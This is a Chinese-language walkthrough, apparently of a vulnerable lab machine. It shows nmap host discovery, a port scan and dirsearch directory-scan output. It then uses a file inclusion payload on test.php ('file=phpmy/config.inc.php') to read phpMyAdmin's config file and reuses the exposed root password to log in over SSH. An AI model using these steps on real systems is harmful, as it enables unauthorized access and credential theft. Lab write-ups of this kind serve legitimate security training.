主机发现阶段
使用nmap 扫描C段地址来发现主机
nmap -sn IP/24
信息收集/渗透测试阶段
通过Goby扫描常见开放端口资产信息
开放端口情况(常见端口):
端口号 | 相对应服务 |
---|---|
22 | SSH服务 |
80 | WEB服务 |
使用dirsearch扫描目录路径
[16:19:18] Starting:
[16:19:20] 403 - 293B - /.ht_wsr.txt
[16:19:20] 403 - 296B - /.htaccess.bak1
[16:19:20] 403 - 296B - /.htaccess.orig
[16:19:20] 403 - 298B - /.htaccess.sample
[16:19:20] 403 - 296B - /.htaccess.save
[16:19:20] 403 - 297B - /.htaccess_extra
[16:19:20] 403 - 296B - /.htaccess_orig
[16:19:20] 403 - 294B - /.htaccess_sc
[16:19:20] 403 - 294B - /.htaccessBAK
[16:19:20] 403 - 294B - /.htaccessOLD
[16:19:20] 403 - 295B - /.htaccessOLD2
[16:19:20] 403 - 286B - /.htm
[16:19:20] 403 - 293B - /.httr-oauth
[16:19:28] 200 - 307B - /add
[16:19:28] 200 - 307B - /add.php
[16:19:39] 200 - 1B - /c
[16:19:39] 403 - 290B - /cgi-bin/
[16:19:44] 403 - 286B - /doc/
[16:19:44] 403 - 290B - /doc/api/
[16:19:44] 403 - 301B - /doc/en/changes.html
[16:19:44] 403 - 301B - /doc/html/index.html
[16:19:44] 403 - 300B - /doc/stable.version
[16:19:49] 200 - 3KB - /head.php
[16:19:50] 301 - 317B - /images -> http://192.168.56.203/images/
[16:19:50] 200 - 1KB - /images/
[16:19:50] 200 - 47KB - /in
[16:19:50] 200 - 3KB - /index
[16:19:50] 200 - 3KB - /index.php
[16:20:00] 302 - 2KB - /panel -> index.php
[16:20:00] 302 - 2KB - /panel.php -> index.php
[16:20:02] 200 - 8KB - /phpmy/
[16:20:08] 403 - 295B - /server-status
[16:20:08] 403 - 296B - /server-status/
[16:20:09] 200 - 1B - /show
[16:20:14] 200 - 72B - /test
[16:20:14] 200 - 72B - /test.php
/phpmy/ phpmyadmin登录页面
/test.php file参数 疑似存在文件包含漏洞
phpmyadmin配置文件获取权限
访问 test.php 页面通过hackbar 插件post请求file参数
发现可以包含任意文件。
刚才目录扫描获取到了phpmyadmin路径:/phpmy/
可以直接包含路径下的phpmyadmin配置文件
file=phpmy/config.inc.php
在配置文件中找到 SSH账户密码:root:roottoor
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;
使用mobaxteam连接,直接root登录,密码就是phpmyadmin配置文件中的